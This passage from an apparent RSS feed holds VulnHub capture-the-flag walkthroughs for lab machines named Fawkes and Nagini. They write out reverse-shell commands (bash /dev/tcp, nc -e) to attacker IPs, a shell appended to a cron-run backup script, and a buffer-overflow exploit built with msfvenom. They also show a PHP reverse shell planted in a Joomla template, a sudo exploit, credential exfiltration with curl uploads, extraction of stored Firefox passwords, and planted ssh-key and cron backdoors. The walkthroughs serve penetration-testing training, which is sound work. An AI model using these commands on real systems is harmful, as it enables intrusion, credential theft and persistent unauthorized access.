where to start. I’ll start with the easy and work my way up. Let’s try to run that bash prompt: <em>bash -p</em> and it drops me in as <em>eren</em>. Okay, this isn’t a full interactive shell only a shell with an effective UID as <em>eren</em>. So inside the <em>eren</em> directory is a bash script that executes a tar command overwriting the /var/www/html directory. Looks like it is make it a pristine copy to help with the users who will try to break the webpage. But what can we do with this? Doesn’t seem much, but we can edit the file. So how about we just upgrade ourselves to a full <em>eren</em> shell instead of the SUID thing. Let’s just see if netcat can give us a shell<em> “nc 192.168.56.101 12346 -e /bin/bash”</em> and it gives an error message because it doesn’t support the <em>-e</em> option. Okay, next option. Let’s try a bash shell with <em>bash -i &gt;&amp; /dev/tcp/192.168.56.101/12346 0&gt;&amp;1</em> and that gives us a shell. Cool, let’s add that to the backup.sh file with <em>echo “bash -i &gt;&amp; /dev/tcp/192.168.56.101/12346 0&gt;&amp;1” &gt;&gt; backup.sh</em> and wait.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Zarf-AlfGFMPe8QhnCgb_A.png" /><figcaption>lateral to the user eren</figcaption></figure><p>Okay, we got an interactive shell. Now that we are a new user and we have a tty, let’s try running <em>sudo -l</em> and we get a hit. It says we can run the tar command as root with no password. Well, GTFOBins tells us that’s a bad idea and now we have a root shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sju7JreUC8zElfgGFMw7Mw.png" /><figcaption>They way to root</figcaption></figure><p>So most of those things we found with linpeas.sh had no usage on our path to root, but doesn’t mean we couldn’t have used them. I just took the path of least resistance to get me there. However, not that I am here I’m going to put in a few backdoors so that I can come back later. Today I’m going to put two things on the box: an ssh key in root’s directory so I can come back when I want and a beacon in the <em>crontab</em> to call back to me at a frequency. Multiple backdoors are a redundancy I don’t recommend you go without. If you have been following along this journey, we didn’t do anything new here. Just used things from our toolbox we already know and combine them together. Added a little depth to both <em>john</em> and <em>sqlmap, </em>but nothing special that isn’t already in the help/man pages.<em> </em>See you all on the next box our team decides to use to grow! HMU if you got any questions!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5ce1ec3bb745" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Harry Potter Part 3: Fawkes]]></title>
            <link>https://artilleryred.medium.com/harry-potter-part-3-fawkes-4a5008cbbeae?source=rss-870a672817da------2</link>
            <guid isPermaLink="false">https://medium.com/p/4a5008cbbeae</guid>
            <category><![CDATA[vulnhub-writeup]]></category>
            <dc:creator><![CDATA[ArtilleryRed]]></dc:creator>
            <pubDate>Tue, 27 Jul 2021 14:48:12 GMT</pubDate>
            <atom:updated>2021-07-27T14:48:12.135Z</atom:updated>
            <content:encoded><![CDATA[<p>So this is the final box in the Harry Potter series on VulnHub. This box definitely elevated the skills from the last two boxes. This box helps teach you the following:</p><ul><li>Banner Grabbing</li><li>Buffer Overflow attack</li><li>Traffic analysis</li><li>Docker Breakout</li><li>Exploit modification</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h1EFm71FY9ZjVo66iQnaDA.png" /><figcaption>Initial Box</figcaption></figure><p>IP=192.168.4.35<br>nmap -sC -sV -A $IP -oN Fawkes.nmap</p><ul><li>21, 22, 80, 2222, 9898</li></ul><p>So we’ll start with the easy ones and work our way up. Nmap already told us the ftp allowed anonymous login, so go there first.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qb_quUryFbl33I78RPcMYg.png" /><figcaption>ftp access</figcaption></figure><p>So only one file available, let’s grab it with <em>get server_hogwarts</em>. Nothing else here so we’ll <em>exit</em>. So we have this file, what is it? I’ll start with identifying it with <em>file server_hogwarts</em>. It says it is a 32-bit elf, so it should run on our architecture if we wanted to. I’ll check to see if any libraries are needed for it by running <em>ldd server_hogwarts</em> and there are none. Okay, all self contained. Let’s check to see if notice anything special with <em>strings server_hogwarts</em>. Appears to be a c-family program and I also see some bad functions in it like <em>strcpy</em> which is known for buffer overflows. I’ll put this in our pocket and keep enumerating. Let’s <em>curl $IP</em> and we get another default webpage like the last boxes. Try checking <em>whatweb $IP</em> and we don’t get anything else. Let’s start a directory buster: <em>gobuster dir -u $IP -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt</em>. That returned absolutely nothing, so let’s check the next port. Port 2222 is an SSH server, so what is this 9898? Let’s start with a banner grab using <em>nc $IP 9898</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/807/1*cSIHGRIUJGaqF_vjsLrkJw.png" /><figcaption>Port 9898 Banner Grabbing</figcaption></figure><p>Okay, so this doesn’t do much as each number gives an error. So we walked through every port, let’s go back to this executable. We can run it on our box with <em>./server_hogwarts</em>. It looks like it does nothing but hangs, let’s see what is going on. Let’s first see if it created new processes. Running <em>ps elf</em> shows that the executable started, but no sub-processes. Let’s check connections with <em>ss -ntlp</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LgbEiyifdIfFZsQuKnOvXg.png" /><figcaption>checking ports</figcaption></figure><p>So it started running on port 9898, could it be the same as the server? If we connect to <em>nc localhost 9898</em> we get the exact same result! So now we have a local copy of program running on the server, is this a buffer overflow opportunity? Let’s give it a shot. We’ll start with writing some small python code to spike the program and see what it gives:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aVPofMK8Wy5HeZ-tTGcGSA.png" /><figcaption>spiker program</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QS5FuYRMgE-_riX1-YKAAQ.png" /><figcaption>Running the spiker</figcaption></figure><p>So we got a crash in the code! perfect. I can see where it crashed by checking the device messages and seeing what just happened. We can tell that the instruction pointer gets overwritten, so its time to start developing an exploit. Since I’m a command-line cowboy, I’ll use ol’ gdb and the gdb-peda addins. If you don’t have these, they are a nice feature to add in to your toolbox. So let’s run this in debugger with<em> gdb ./server_hogwarts</em> and see how it goes. Make sure you hit <em>r</em> in gdb so that the server is running:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m1DjIYn8vqwqNsM_PjysQA.png" /><figcaption>Using debugger to see the crash</figcaption></figure><p>Okay, so as we can see we have overwritten EIP, but we also put ‘1’s in EAX, ‘A’s in EBX, EBP, and ESP. Looks like we could overwrite a lot. In order to figure out where exactly in our buffer we sent these reside, we need to put some non-repeating characters in there. Let’s send a cyclic(200) into the buffer instead of all those A’s and 1’s and see what we get.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1enK_sg6c0rLP1HwC2Q2Cw.png" /><figcaption>Determining offsets</figcaption></figure><p>So now we can see that we are controlling multiple areas. We can see from our debugger that EBX and EBP is also overwritten. The beginning of our buffer starts in EAX and runs all the way through hitting EIP. Doing a lookup on it, it appears that EIP is at offset 112. If I modify the code to put our buffer to end at the EIP offset number, then add what I want to the buffer we should be able to control EIP with what we want. I’ll try to do that and put “BBBB” in there. Let’s see what that does:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/394/1*MetWJWnknCnisHOwZClURQ.png" /><figcaption>Controlling EIP</figcaption></figure><p>And there we go, we got “BBBB” in the register! Okay, so now we can put whatever we want in there, now what do we do? Let’s make a payload we can use to put into our buffer and get us a callback. I’m going to start by assuming there are two bad characters we shouldn’t use. If our program starts getting crazy, maybe we will have to go back and ensure we don’t have bad characters. I’ll make a payload with <em>msfvenom -p linux/x86/shell_reverse_tcp LPORT=4444 LHOST=192.168.4.31 -f python -v buf -b “\x00\x0a”</em> and it gives me shellcode that is 95 bytes long. I’ll add that code to my script, but where do we put it? Since we can control RIP, where should we tell it to go? Let’s use a tool that will help us find assembly commands: <em>ropper — file ./server_hogwarts — search “jmp esp”</em> and it finds us one location that has that option: 0x08049d55. Okay, so if we set EIP to go to this address, it will then execute what is in ESP, which is code that we control. Remember if the <em>ropper</em> tool doesn’t return a good option, we controlled other registers as well above. We could check for those too. Let’s put it all together.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/727/1*eKAPaHCMbbKA1onD7OXtEg.png" /><figcaption>Local test</figcaption></figure><p>And we got a shell! Awesome. Now the moment of truth, let’s connect to the Fawkes server and see if we get one from there.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9C9AlzMibn-j_cAuhYDvoA.png" /><figcaption>remote execution</figcaption></figure><p>All right! we got a connection back from the server. Perfect. That is a weird hostname, but we are in as harry. I usually see those types of hostnames when inside of a container. I’ll go check the home directory and we find a file called <em>.mycreds.txt</em> which is suspect; it has a string in it. Since we have two ssh ports open on the box, I’ll try them both and it works on port 2222. However, when it starts up I see the phrase “Alpine” and I know what kind of OS that is…an OS designed for containers! I’ll run a quick <em>sudo -l</em> and harry can do anything as root! Let’s try to get to root so how about <em>sudo /bin/bash</em>. Doesn’t work, but we are in Alpine. let’s try <em>sudo /bin/ash</em>. That gets us there. <em>cd /root; ls -al</em> and we see a horocrux file and a note.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/761/1*H9p7YqkUJaSQoPDskvTtEQ.png" /><figcaption>misconfiguration note</figcaption></figure><p>Hmmm, what traffic? Well, I guess we can just dump the traffic and see what comes out. I don’t want all the traffic, so we’ll just look for FTP which has two ports (data and command). Let’s use <em>tcpdump -i eth port ftp or ftp-data</em> and see what scrolls by. Nothing a first, but then a bunch of things fly by.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/686/1*g67pQYmIWtP3QZftTuN43g.png" /><figcaption>Dumping ftp traffic</figcaption></figure><p>As we know, ftp uses no encryption so we see the username in plain text. I scroll down some more and I find a password. Okay, let’s see where that takes us. <em>ssh neville@$IP</em> works. Not only does it let us in, but it lets us in and says it is Debian box! So we escaped the container. Check <em>sudo -l</em> real quick but no specials for this user. Okay, let’s just run linpeas and see what direction we get. Doing my first pass on linpeas, here is what sticks out to me:</p><ul><li>there is a /etc/passwd.bak</li><li>password found for mysql</li><li>there is a /usr/local/bin/sudo</li><li>port 68 on UDP</li><li>additional hostname is WordAttacker</li><li>cron is running, but nothing stands out for the default directory</li></ul><p>We can start at the top and work our way down. Reading a /etc/passwd file is required as that is where user information is. Doing a <em>diff /etc/passwd /etc/passwd.bak</em> provides one user change: <em>ftp</em>. We already used that to pull down that file we performed the buffer overflow on. Looking at the credentials for mysql, there is a wordpress page that can connect to mysql. However, mysql isn’t listening on a port! I’ll recheck with <em>ss -ltnp</em> and nope, it isn’t listening. Let’s try password reuse and see if this lets us login: <em>su root</em>. That fails. Okay, moving on. Looking at <em>sudo</em>, that isn’t usually where it goes. By default it goes in <em>/usr/bin/sudo</em> so this is unique. Let’s check it out with <em>/usr/local/bin/sudo -V</em>. So this is version 1.8.27. I’ll run <em>searchsploit sudo</em> it finds one with this specific version. Reading the exploit, it highlights that you need to have an entry in the sudoers file in order for it to work. When we run <em>sudo -l</em> it doesn’t say we do, but we can try. Run <em>sudo -u#-1 /bin/bash</em> and it fails. Rats. Let’s see if there is another one out there, since having this special installation is weird. Google says CVE-2021–3156 is encouraging! Let’s download one and see what we need to do. It comes with a make file, so <em>make</em> gives us a <em>exploit</em> executable. Let’s copy it over and see. Ran but gave us nothing. Rats again.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/757/1*_bvz2wJjnSavh3LY3RoA2A.png" /><figcaption>Examining the exploit</figcaption></figure><p>Looking at the bottom of the exploit, it looks for <em>/usr/bin/sudoedit</em>. But in our instance, we have <em>sudo</em> in a weird spot. Where is <em>sudoedit</em>? Let’s look with <em>find / -name sudoedit 2&gt;/dev/null</em>. Ah, we have that file in a different spot too. Let’s see if it makes a difference. Modify the file then do <em>make clean; make</em> to generate a new executable. Upload it an cross our fingers. Whoa, got a totally different result this time. This time I got a “Segmentation fault”. So this appears to be a race condition, so let’s let it run in the shell script it came with.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/910/1*Z_3Ugnsjd6w-UTVSOPyDGQ.png" /><figcaption>Looping for the race condition to succeed</figcaption></figure><p>After multiple passes, it finally drops us in as root! Fairly neat box and good culmination of the other two boxes. We found all 8 tokens so we apparently have defeated Voldemort. With these three boxes in a row, it should definitely be building a toolbox for you to use, so that makes this adventure a positive one. See you all next time!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4a5008cbbeae" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Part II of the Harry Potter Series: Nagini]]></title>
            <link>https://artilleryred.medium.com/part-ii-of-the-harry-potter-series-nagini-c04a3113d6bc?source=rss-870a672817da------2</link>
            <guid isPermaLink="false">https://medium.com/p/c04a3113d6bc</guid>
            <category><![CDATA[vulnhub-walkthrough]]></category>
            <dc:creator><![CDATA[ArtilleryRed]]></dc:creator>
            <pubDate>Fri, 09 Jul 2021 02:43:28 GMT</pubDate>
            <atom:updated>2021-07-09T02:43:28.904Z</atom:updated>
            <content:encoded><![CDATA[<p>The second box in the Harry Potter series:”Nagini” is classified as a medium box and ups the ante from the previous box. This box forces us to install some new things and check some new technology along our path to the end. The following techniques were used on this box:</p><p>· HTTP using Joomla</p><p>· HTTP3 using curl</p><p>· SSRF using gopher</p><p>· Generate ssh keys with ssh-keygen</p><p>· Exploit saved browser information</p><p>This box starts with giving us the IP:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/541/1*4K6WTtndpUbR3Ayeua-nVw.png" /><figcaption>Running the VM in VirtualBox</figcaption></figure><p>Save that IP in a variable: IP=172.20.10.5 So let’s get started with our nmap scan: <em>nmap -sC -sV -A $IP -oN nagini.nmap -v</em> which gives us the common 22 and 80 ports. Since 22 is very up to date, we can start with 80. I’ll start with a <em>curl $IP –head</em> and <em>curl $IP</em>. Very simplistic and not much being given away. Since we really don’t know anything, I’ll start it with a very small, basic buster: <em>gobuster dir -u </em><a href="http://$ip/"><em>http://$IP</em></a><em> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt</em>. this says we have a joomla page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*j2QXw2lmQ2pm7oQxs3yymw.png" /><figcaption>default directory busting</figcaption></figure><p>Grabbing the right tool, I’ll use a joomla scanner: <em>joomscan -u </em><a href="http://$ip/joomla"><em>http://$IP/joomla</em></a><em>.</em> This gives us quite a bit, including a robots.txt page which has a login page and administrator login page, a backup file, and the version number.</p><p>If we get stuck, we may come back and do a <em>feroxbuster</em> here to see what kinds of things are deeper within the tree. I’ll run the scanner one more time to check for the plugins: <em>joomscan -u </em><a href="http://$ip/joomla"><em>http://$IP/joomla</em></a><em> -ec</em>. Not much here. There are some SSRF and other things that are options, but nothing too juicy yet. Let’s check that backup file it found: <em>curl $IP/ joomla/configuration.php.bak</em>. Okay, we got a username, a secret, and an email. There are two webpages that do logins, but after some attempts neither of these combinations get us in to the pages. So we’ve done some enumeration, found somethings, but we haven’t gotten further. Well, let’s go back and do some more enumeration. We did a directory busting, but we didn’t do a file busting. Let’s start there. I’ll use some recursion to see what we can do. Additionally, if we are going to do file busting, we need to know what file extensions to add on to each attempt. Based on what we found so far, there wasn’t much…except there was that file that was a .php.bak and we assume if there is login pages on joomal there is sql happening. So for this file busting, I’m going to look for the following: <em>gobuster -u </em><a href="http://$ip/"><em>http://$IP</em></a><em> -w /usr/share/dirb/wordlists/common.txt -x txt,php,bak,sql -b 404,403</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*r2olCWYMMP4AiJfDiBrQSQ.png" /><figcaption>file busting on the web-page</figcaption></figure><p>After that runs for a minute, we see some 200s we didn’t get before on <em>note.txt</em> that tells us a few things: they are using <em>http3</em> and they have a site at <a href="https://quic.nagini.hogwarts/">https://quic.nagini.hogwarts</a>. Good to know. Let me add that to my /etc/hosts file so we can navigate to that latter<em>: echo ‘$IP </em><a href="https://quic.nagini.hogwarts/"><em>https://quic.nagini.hogwarts</em></a><em>’ &gt;&gt; /etc/hosts</em>. So what is http3? Off to google which leads me to this page: <a href="https://github.com/curl/curl/blob/master/docs/HTTP3.md#quiche-version">https://github.com/curl/curl/blob/master/docs/HTTP3.md#quiche-version</a>. It has some step-by-step instructions that I’m going to run and cross my fingers that it works.</p><p><em>git clone </em><a href="https://github.com/cloudflare/quiche.git"><em>https://github.com/cloudflare/quiche.git</em></a><em>; cd quiche; cargo build — release — features ffi,pkg-config-meta,qlog; mkdir deps/boringssl/src/lib; ln -vf $(find target/release -name libcrypto.a -o -name libssl.a) deps/boringssl/src/lib/; cd ..; git clone </em><a href="https://github.com/curl/curl"><em>https://github.com/curl/curl</em></a><em>; cd curl; ./buildconf; ./configure LDFLAGS=”-Wl,-rpath,$PWD/../quiche/target/release” — with-openssl=$PWD/../quiche/deps/boringssl/src — with-quiche=$PWD/../quiche/target/release; make;</em></p><p><em>src/curl — http3 </em><a href="https://quic.nagini.hogwarts/"><em>https://quic.nagini.hogwarts</em></a></p><p>Wow, that was a bunch but I just followed the instructions through. If you get stuck because it doesn’t have something installed, it is one <em>apt install</em> or <em>pip3 install</em> away! Looking at what the src/curl gave us, we got more direction:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*Wt8z4358qt90RxP6plBZAQ.png" /><figcaption>finding the http3 page</figcaption></figure><p>Well, we would have never found that php file through directory busting! Let’s navigate there in our browser and see what we got. It says it is a “fetcher” which is built as a proxy to be able to get pages available to localhost that are not available to the public. I’ll try this with putting in localhost and I get the same page and image as I get from the homepage!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*Pkj5rQfU15zh6WHaVX5qyg.png" /><figcaption>Internal Page fetcher</figcaption></figure><p>Okay, now where do we want to go from here? Checking my notes, I ventured over to <a href="https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery">https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery</a> to see what some options are. Lucky enough, there is a discussion on there on how to use a tool called <em>gopherus</em> to fetch internal pages. I like automation, so let’s get it installed:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*HQsiYWqaz0pZGpZsIcWZFw.png" /><figcaption>Installing <em>gopherus</em></figcaption></figure><p>So by default it tried to use ‘pip2’ during the install. A quick change to the install.sh file upgrading the ‘pip2’ to ‘pip3’ allows this to be installed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*VV33-NuRAX0wtBdDO_fjnA.png" /><figcaption>gopherus.py</figcaption></figure><p>So gopherus has some built-in exploit support. Which one do we use? Well, during our review so far we found a configuration file that described a mysql login. Seems like that is the one to do.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*ryRFXJw2X_c2VXUiQe0zxQ.png" /><figcaption>testing gopherus with mysql</figcaption></figure><p>So we’ll start with something simple like “select @@version;” and see what that gives. If we cut and paste the SSRF link that was made, we get a response.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*NSwt0Naoy_NfRXKgJntc3g.png" /><figcaption>fetching data from the database</figcaption></figure><p>So we can see that this is a MariaDB and it actually works. So where to do we go from here? We’ll start enumerating the database and see where we can get. I’ll run the following: <em>show databases; use joomla; show tables; use joomla; select * from joomla_users;</em> We find one user called “Super Admin” that has a password hash in there. I copied that hash out and I’ll get that started in the background with <em>john –wordlist=/usr/share/seclists/passwords/LeakedDatabases/rockyou.txt</em>. While that runs, I’ll continue to enumerate the database. There is really nothing else in here we can extract. Only one database called <em>joomla</em> and only tables that support the joomla installation. After waiting a while, <em>john</em> was unable to crack the password with the wordlist I gave it. So now what? I can read from the database, can I write to it? If I did, what would I write?. Let’s create a new password that I know and we’ll put it in the database as the password hash. To create a password, I’ll use a command-line tool:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*C_zejwtx57q3MUnA9tl-Bw.png" /><figcaption>generating a new password</figcaption></figure><p>Okay, now we need to add it to the database. Since we know the email associated with it, I’ll do an sql command and see if it works: <em>use joomla;update joomla_users set password=’YourHashYouMade’ where email=’site_admin@nagini.hogwarts’;</em> That returns “1 row effected”, great! Now let’s navigate to the joomla administrator page and see if it works. It does. We are in the CMS system now.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*w9H11A3sqowwWlBolf4Sdg.png" /><figcaption>Finally seeing the CMS page</figcaption></figure><p>So we are on the joomla page, so what can we do? There are a few areas to focus on for CMS pages as hinted by this page: <a href="https://arnavtripathy98.medium.com/pentesting-cms-web-applications-8b9f5c59fb6c">Pentesting CMS Web Applications. The days of writing a web application… | by Arnav Tripathy | Medium</a>. So I’ll start where I’ve started before and try to store a new page on the CMS that does what I want it to do. I like to begin in Templates. In this case, I’ll pick error.php which is called when the webpage has an error. Seems simple, but what should we put? I’ll go straight for the kill and make a php reverse shell: <em>msfvenom -p php/reverse_php LHOST=192.168.4.31 LPORT=4444 -o rev.php</em>. I’ll just copy this whole file and replace it in the screen editor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*AX4Txc1ls3s4hy0eFWDGoQ.png" /><figcaption>Modifying the templates</figcaption></figure><p>With my new php in there, I’ll hit Save. Now when I attempt to navigate to a page and it causes an error, I should get this response. I’ll start netcat to receive my shell and call a curl to kick it off. Remember you need to have an error on your call and not a 404 or some other error.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/532/1*HXjbjtgpaIuRRixBzGE9_w.png" /><figcaption>Getting to the error page</figcaption></figure><p>Okay. I’ll get a better shell and then start enumerating. Of course we are on with www-data, so to be easy I’ll just upload and run linpeas.sh to enumerate everything and I’ll parse from there. Looking at my linpeas output, there are a few things I notice, and I’ll start with the easy ones and move up. First I’ll start with the mysql running on port 3306 (which we already knew based on our exploit). I connected to <em>mysql</em> and looked around, but it showed us nothing more than we already enumerated using <em>gopherus</em>. So the next thing that stuck out was the 4 users on the box. I’ll go to the home directory and see two directories: hermoine and snape. Looking at hermoine, I don’t have much permissions for stuff. Looking at snape, there is a hidden file called “.creds.txt” which appears to be some sort of password in base64. I attempt to use it by using “su — snape” and the password works! Since ssh is on the box, I’ll jump to a new terminal and try ssh that works! So now we have a much better shell and we can look around. There is nothing else good in this directory, let’s go back to hermoine now that we are a different user. There is a file with a SUID bit set in the bin directory called <em>su_cp</em>. Running <em>file su_cp</em> shows its an executable file, so let’s run <em>strings su_cp</em>. There is a block of text in there that looks really similar to the copy command. I’ll run <em>cp –help</em> and the output looks the same! Could this copy a file with different permissions? Let’s check:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*Lq4dUWL2SCpeUSDHbY9Mjw.png" /><figcaption>verifying the su_cp command</figcaption></figure><p>The hunch was right, it copies a file and updates the permissions. What can we do with this? How about we update the authorized_keys file to allow us to ssh into the box? After running <em>ssh-keygen</em> it looks like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*72lab5yYhOSC8LPJZ2sfKQ.png" /><figcaption>Laterally moving users</figcaption></figure><p>Okay, we moved from www-data to snape to hermoine…still need to get to root. Doing an <em>ls -al</em> gives me the hidden files and there is a <em>.mozilla</em> directory. Let’s investigate. There is one profile in there and I find a few .json and .sqlite files. Doing some googling if you’ve never done forensics before, there is a way to pull out stored passwords using <em>firepwd</em> on github. Let’s download that and set it up.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*FDjkV4SUjtFzcyYw-Q7rtg.png" /><figcaption>Setting up firepwd</figcaption></figure><p>So we got it ready, but we need to give it the files. Let’s pull over the files by starting <em>updog </em>on your box. Then run <em>curl -F “path=.” -F </em><a href="/service/mailto:file=@key4.db"><em>file=@key4.db</em></a><em> 192.168.4.31:9090/upload</em> which moves over the file for you. We also need the logins.json file decode it, so we’ll grab that one too. Now that we have both files in the directory, we can run <em>python3 firepwd.py</em> which pulls the files from the current directory and Viola…root password is recovered! That allows us to <em>su root</em> and we are in as root. Great learning box.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c04a3113d6bc" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>